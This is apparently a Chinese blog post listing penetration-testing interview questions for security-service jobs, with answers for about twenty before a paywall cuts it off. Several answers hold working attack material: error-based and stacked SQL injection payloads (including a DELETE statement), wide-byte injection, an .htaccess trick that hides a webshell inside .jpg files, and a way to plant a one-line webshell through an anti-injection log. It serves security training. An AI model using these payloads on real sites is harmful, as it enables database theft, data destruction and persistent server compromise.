安服面试点总结

已于 2022-02-23 15:09:39 修改
阅读量9k 收藏 144
点赞数 13
文章标签： 数据库 sql 渗透测试 web安全 安全
于 2022-02-22 02:57:10 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/jinzezhi/article/details/123059172
版权

目录

1.3389无法连接的几种情况

2.二次注入

3.报错注入的函数

基于格式错误的报错(xpath语法错误)

基于主键重复错误

4.堆叠注入

5.判断出网站的CMS对渗透的意义

6.一个成熟并且相对安全的CMS，渗透时扫目录的意义？

7.mysql注入点，用工具对目标站直接写入一句话，需要哪些条件？

8.如何手工快速判断目标站是windows还是linux服务器？

9.为何一个mysql数据库的站，只有一个80端口开放？

10.如何突破注入时字符被转义？

11.宽字节注入

12.在某后台新闻编辑界面看到编辑器，应该先做什么？

13.拿到一个webshell发现网站根目录下有.htaccess文件，我们能做什么？

14.注入漏洞只能查账号密码？

16.access 扫出后缀为asp的数据库文件，访问乱码，如何实现到本地利用？

18.某服务器有站点A,B 为何在A的后台添加test用户，访问B的后台。发现也添加上了test用户？

19.uid=1已结确认是注入点,注入时可以不使用and 或or 或xor，直接order by 开始注入吗？

20.某个防注入系统，在注入时会提示：

21.目标站禁止注册用户，找回密码处随便输入用户名提示：“此用户不存在”，你觉得这里怎样利用？

22.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt，你有什么思路？

23.以下链接存在 sql 注入漏洞，对于这个变形注入，你有什么思路？

24.发现 demo.jsp?uid=110 注入点，你有哪几种思路获取 webshell，哪种是优选？

25.CSRF 和 XSS 和 XXE 有什么区别，以及修复方式？

26.CSRF、SSRF和重放攻击有什么区别？

27.说出至少三种业务逻辑漏洞，以及修复方式？

28.sql注入有几种类型？

29.SQL注入漏洞的关键条件

30.SQL注入攻击流程

31.延时注入如何来判断？

32.盲注和延时注入的共同点？

33.如何拿一个网站的webshell？

34.sql注入写文件都有哪些函数？

35.如何防止CSRF?

36.SQL注入防护方法？

37.TOP10

2021版OWASP Top 10

38.代码执行，文件读取，命令执行的函数都有哪些？

39.如何绕过waf？

40.如何向服务器写入webshell？

41.渗透测试中常见的端口

42.端口合计详情

43.代替空格的方法

44.mysql的网站注入，5.0以上和5.0以下有什么区别？

45.xss几种类型

46.DOM型和反射型的区别

47.文件上传漏洞

48.CSRF

49.SSRF

1.3389无法连接的几种情况

端口没有开放
端口被修改了
被拦截了
没出网(处于内网(需要进行端口转发))

2.二次注入

恶意数据经过一些转义函数(get_magic_quotes_gpc)的处理之后不会触发sql注入,然后插入到数据库中,再次调用的时候因为默认数据库里面的数据都是安全的,所以不会再进行检测,直接进行使用,导致二次注入

3.报错注入的函数

基于格式错误的报错(xpath语法错误)

函数:extractvalue()：
    函数使用格式:extractvalue(xml_documentXpath_string)
    id='and(select extractvalue("anything",concat('~',(select语句))))
原理:
    因为~符号不符合xpath的语法规则所以导致报错返回select语句执行结果
paylaod:
    查数据库名：id='and(select extractvalue(1,concat(0x7e,(select database()))))
    爆表名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
    
函数:updatexml():
    函数使用格式:updatexml(xml_document,xpath_string,new_value)
    id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
原理:
    因为~符号不符合xpath的语法规则所以导致报错返回select语句执行结果
payload:
    爆数据库名：'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
    爆表名：'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
    
注：
    0x7e = ~
    ​~也可以换为#，$等只要不符合xpath的语法规范即可
    两个函数只能查询32位如果过多就需要使用limit或substring

基于主键重复错误

函数：rand，floor，group by
    floor()
    来返回小于等于该值的最大整数，因为rand是返回的0到1之间的1数，那通过floor(rand()*2)就可以实现只生成0和1.然后前面说到因为rand的种子定了的话他是伪随机数，所以导致0，1的顺序也是可控的。

4.堆叠注入

原理:
    在SQL语句中，语句的结束都是以`；`结尾，但是如果我们在`；`后面再加上一条SQL语句，两条语句会一起执行吗？这也就是造成堆叠注入的原因了
​
payload:
    `select * from users;DELETE FROM test`
    先查询user表，然后再从test数据库里删除user表。
    `?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23`

5.判断出网站的CMS对渗透的意义

可以查找该CMS在网上曝出的漏洞进行利用
如果开源,还可以进行代码审计

6.一个成熟并且相对安全的CMS，渗透时扫目录的意义？

敏感文件、二级目录扫描
站长的误操作比如：网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

7.mysql注入点，用工具对目标站直接写入一句话，需要哪些条件？

root权限以及网站的绝对路径。

8.如何手工快速判断目标站是windows还是linux服务器？

linux大小写敏感,windows大小写不敏感。

9.为何一个mysql数据库的站，只有一个80端口开放？

  1. 站库分离
  2. 更改了端口,没有扫出来
  3. 3306端口不对外开放

10.如何突破注入时字符被转义？

  1. 宽字节注入
  2. hex编码绕过

11.宽字节注入

数据库编码为非英文编码时,就可能会产生宽字节注入,宽字节注入需要为GBK编码

原因:

        宽字节SQL注入就是PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码，但是又由于一些不经意的字符集转换导致了宽字节注入。

 因为magic_quotes_gpc（魔术引号开关）导致了当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤,或者addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。所以这个时候就可以使用宽字节注入

我们发现\的编码是%5c，然后我们会想到传参一个字符想办法凑成一个gbk字符,例如：‘運’字是%df%5c

SELECT * FROM users WHERE id='1\'' LIMIT 0,1

这条语句因为\使我们无法去注入，那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運，然后成功的让！

SELECT * FROM users WHERE id='1�\'#' LIMIT 0,1

�\ 实际上就是那个運字

详细文章SQL注入之宽字节注入 - FreeBuf网络安全行业门户

12.在某后台新闻编辑界面看到编辑器，应该先做什么？

查看编辑器的名称版本,然后搜索公开的漏洞。

13.拿到一个webshell发现网站根目录下有.htaccess文件，我们能做什么？

能做的事情很多，用隐藏网马来举例子： 插入 <FilesMatch “xxx.jpg”> SetHandler application/x-httpd-php .jpg文件会被解析成.php文件。

14.注入漏洞只能查账号密码？

只要权限足够,啥都能干!!

16.access 扫出后缀为asp的数据库文件，访问乱码，如何实现到本地利用？

迅雷下载，直接改后缀为.mdb。

18.某服务器有站点A,B 为何在A的后台添加test用户，访问B的后台。发现也添加上了test用户？

使用的是一个数据库。

19.uid=1已结确认是注入点,注入时可以不使用and 或or 或xor，直接order by 开始注入吗？

and/or/xor，前面的1=1、1=2步骤只是为了判断是否为注入点，如果已经确定是注入点那就可以省那步骤去。

20.某个防注入系统，在注入时会提示：

系统检测到你有非法注入的行为。已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=2,该如何利用这个防注入系统拿shell？
在URL里面直接提交一句话，这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

最低0.47元/天 解锁文章
@A1
关注
面试篇——某安全厂商外包安服工程师.下篇
韩束一叶子
05-31 1291
答：…
某安全厂商外包安服工程师面试
qq_61807674的博客
05-27 925
Up没料到这题，傻瓜瓜的说的方法是写个脚本遍历一遍，每张表select xxx from xxx where xxx =xxx最后就可以找出来，面试官笑了笑耐心的给我讲了一遍大概有哪些思路，说我的也不算错（我也不记得他说啥子了，师傅们自己查吧，感觉你们也不一定碰得到这题）。总之一面还算顺顺当当的就过了，估计面试我的那哥们不怎么卡人都放进二面去了，一面是早上十点多给我打的电话，结束后不到几个小时吧下午三四点这样就约我第二天一早二面了，二面的详细过程up还在整理，最近比较忙，尽快出下篇。
200个安全服务工程师-常见基础面试问题.docx
07-22
精心收集和整理的将近200个安全服务工程师-常见基础面试问题，包含操作系统安全、数据库安全、web安全、安全加固、渗透测试等相关的安全服务工程师内容。
绕 waf 实战之 xss 漏洞利用，从零基础到精通，收藏这篇就够了！
最新发布
Libra1313的博客
02-27 785
以上是这次针对存在 waf 的 xss 漏洞接口的绕过测试过程，通过一些 JavaScript 的特性，通过字符串变化、编码等方式组合 payload 从而实现 waf 的绕过，waf 通常是通过正则来进行检测和拦截，如果你找到了目标 waf 规则之外的方式，那么，恭喜你，waf 对你无用。黑客/网络安全学习路线对于从来没有接触过黑客/网络安全的同学，目前网络安全、信息安全也是计算机大学生毕业薪资相对较高的学科。大白也帮大家准备了详细的学习成长路线图。
安服面试 --- 01
weixin_62443409的博客
08-30 5818
利用虚拟机软件或者虚拟机中运行的软件的漏洞进行攻击，以达到攻击或控制虚拟机宿主操作系统的目的。
安服/渗透测试面试问题总结
Sumarua的博客
04-17 8152
文章目录HR面问题对我们公司有什么了解，为什么选择本公司为什么想要应聘这个职位对安全服务是怎么理解的如果我不知道渗透测试，两分钟说一下如果我是一个汽车厂商，你如何证明你的工作是有意义的？作为应届生，你如何能胜任该职位你有什么职业规划如果离职的话是因为什么原因你有什么优缺点对于薪资的要求给不了这么多工资可以接受吗？为什么想要这个数？进入部门后，你需要多长时间进入项目？上一个面试的人能力跟你差不多，但是工资方面比你要的低？是否可以接受加班（沟通能力）和领导、同事产生分歧会怎么办工作一段时间后，发现工作不是想象中
安全服务工程师面试题
Sumarua的博客
03-24 4556
网络安全审计是确保网络安全的一个重要措施，它通过对网络设备、系统、应用程序等的检查，发现安全问题和漏洞，并提出相应的解决方案，以保护组织的重要数据和资产。通过这些措施，可以有效提高员工的安全意识，保护企业的信息安全。除此之外，我还会根据不同的安全需求和应用场景，选择合适的技术和措施，例如网络隔离、应用安全加固、系统安全加固、身份认证和授权等，以提高安全防御的能力。除此之外，我还会根据不同的安全需求和应用场景，选择合适的技术和措施，例如安全评估、网络隔离、加密通信、系统安全加固等，以提高安全审计的效果。
渗透测试或安服等面试问题与答案
Vdieoo的博客
11-29 4764
启明星辰 1开发做的模块有安全漏洞被你发现了，但是老板催着上线 你作为安全工程师怎么处理 加班加紧和开发一块处理安全漏洞，及时向老板汇报情况 2内网服务器被人种植shell，怎么做应急响应 常态化安全检查与安全加固 中间是流程 下层是 收集安全系统报警信息，根据威胁情报平台和之前误报的信息初步研判（何种安全事件），自己能解决则利用应急技能（进程分析，日志分析，样本分析）（清理处置：断网后远程连接杀进程，删文件，打补丁，查看攻击途...
深信服安服实习生面试心得
jia3643的博客
03-13 1万+
二月中旬申请了深信服的安服实习生，今天下午刚刚完成三面，从投简历到三面完成花了差不多三个星期，总的来讲感觉实习生面试不是很难，但是也有一些自己薄弱答不上来的地方，想记录一下其中的经历和收获。 0x00概述 一面 ：技术面， 二面：技术面+一些个人问题 三面：hr面 因为第一次面试没有经验，结果两次技术面都忘记录音了，哈哈，可能记得不是很全，emmmm，尽量我多记起来一点 OWASP TOP10是...
深x服安服工程师面试
hackzkaq的博客
10-23 354
阿吧阿吧。
安服 渗透测试面试题（2）_安服渗透实习生技术面试，2024年最新2024网络安全开发社招面试总结+解答分享
2401_84412115的博客
04-18 1173
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。，朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~(img-QIuvlcnS-1713372942139)]题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。因篇幅有限，仅展示部分资料。还有大家最喜欢的黑客技术。
2023年安服、渗透面试常见问题
xuyan1119的博客
10-05 1172
面试官你好，我是xxx，来自xxx，本科毕业于xxxxxxxx；从事网络安全行业已经有将近三年的工作经验，上一份工作是在xxxxxxxxxxx；负责项目漏洞扫描、渗透测试、基线检查及安全加固然后协助客户进行风险评估、安全监控和日志分析。1.SQL注入产生的原因答：接收了相关参数没有去处理，直接带入数据库查询，一般出现在登陆，注册，留言板，等会和数据库有交互的情况都会可能出现SQL注入的漏洞。分为字符型和数字型，五大查询手法，联合查询，报错2查询，堆叠查询，布尔盲注入，延迟查询。
安服面试经验分享（非常详细），零基础入门到精通，看这一篇就够了
分享Python知识
10-11 1400
安服面试经验分享（非常详细），零基础入门到精通，看这一篇就够了
安全服务面试总结（第七弹 逻辑漏洞）
qq_42488061的博客
09-26 555
逻辑漏洞存在的原因在于程序逻辑不严谨，或者逻辑太复杂，导致一些逻辑分支不能够正常处理，或错误处理。
面试篇——某安全厂商外包安服工程师
韩束一叶子
05-31 610
本篇帖子出现的厂商and面试问题皆为up实际面试情况，厂商信息不透露，仅供师傅们参考。
安全服务面试
m0_74402888的博客
07-30 655
（标红 1：sql 注入，标红 2：xss，标红 3：cookies 欺骗，4：会话 CSRF 或重放风险。(2)CSRF 是跨站请求伪造攻击，XSS 是实现 CSRF 的诸多手段中的一种，是由于。(5)利用已有信息生成专用字典(6) 观察管理员常逛哪些非大众性网站，拿下它，你会得到。and/or/xor，前面的 1=1、1=2 步骤只是为了判断是否为注入点，如果已经。收集信息：whois、网站源 IP、旁站、C 段网站、服务器系统版本、容器版本、
初级安服仔面试攻略
qq_61807674的博客
04-24 1427
（大概的罗列出来，先突出个数，再突出精，通过略列特点的方式，再进行厂商之间一些设备特征的对比，唬住甲方，大部分甲方直面最关注的一点就是你的经历，其中提纯关键信息：用过哪些厂家的设备 设备类型+厂商丰富度）。答：在公司的某系统上有碰到过一次疑似的xxxx攻击，因为威胁程度较大且当时是非工作时间，且一轮研判由于信息不足无法判断，处理思路是先进行了主机隔离，因为是xxx攻击，首先去排查了xxx和xxx，无异常，联系了相关业务的管理员和开发，发现是某个参数异常，在请求的过程中……容易受到信息泄露和拒绝服务攻击。
深信服安服类（安全服务/安全运营工程师）校招2023届面经
热门推荐
学信安技术 卫国家之门
10-27 1万+
近期秋招也即将结束，经过几个offer的对比，最终选择了深信服。以下我会以聊天的形式分享一些安服类岗位的面经，有想要进一步了解的同学可以评论或者私信我。感觉今年的就业形势真的不好，考研也很难，能感受到周围人的压力，同为学生我感同身受，所以希望我的分享能有些帮助，祝大家都能找到满意的工作，实现自己的目标，有一个好的人生起点。
详细的渗透思路（转Mr-xn）
专注企业信息安全－sec
10-06 5639
信息收集 服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等） 网站指纹识别（包括，cms，cdn，证书等），dns记录 whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等） 子域名收集，旁站，C段等 google hacking针对化搜索，pdf文件，中间件版本，弱口令扫描等 扫描网站目录结构，爆后台，网站ba...
拿到webshell
07-27
拿到webshell是指成功获取到一个可用于远程控制web服务器的恶意脚本或程序。作为攻击者，要进行webshell渗透，主要需要考虑如何绕过系统上传webshell的限制，以及如何隐藏webshell以免被查杀。一般情况下，攻击者会利用文件上传漏洞、SQL注入漏洞、RCE漏洞等方式将恶意文件放到web服务器中生成webshell。\[1\]\[2\] 作为防御者，为了保障系统安全，应该考虑如何避免webshell被上传，并及时查杀已经存在的webshell。防御措施包括但不限于加强文件上传的限制和过滤，修复系统漏洞，定期检查服务器文件和日志，使用安全审计工具等。\[1\]\[2\] 需要注意的是，使用webshell进行非法活动是违法行为，严重侵犯了他人的隐私和安全。建议遵守法律法规，不要进行任何违法活动。 #### 引用[.reference_title] - *1* *2* [渗透测试之Webshell](https://blog.youkuaiyun.com/weixin_41715662/article/details/125576804)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [渗透测试获取webshell方法总结](https://blog.youkuaiyun.com/u013930899/article/details/127183667)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值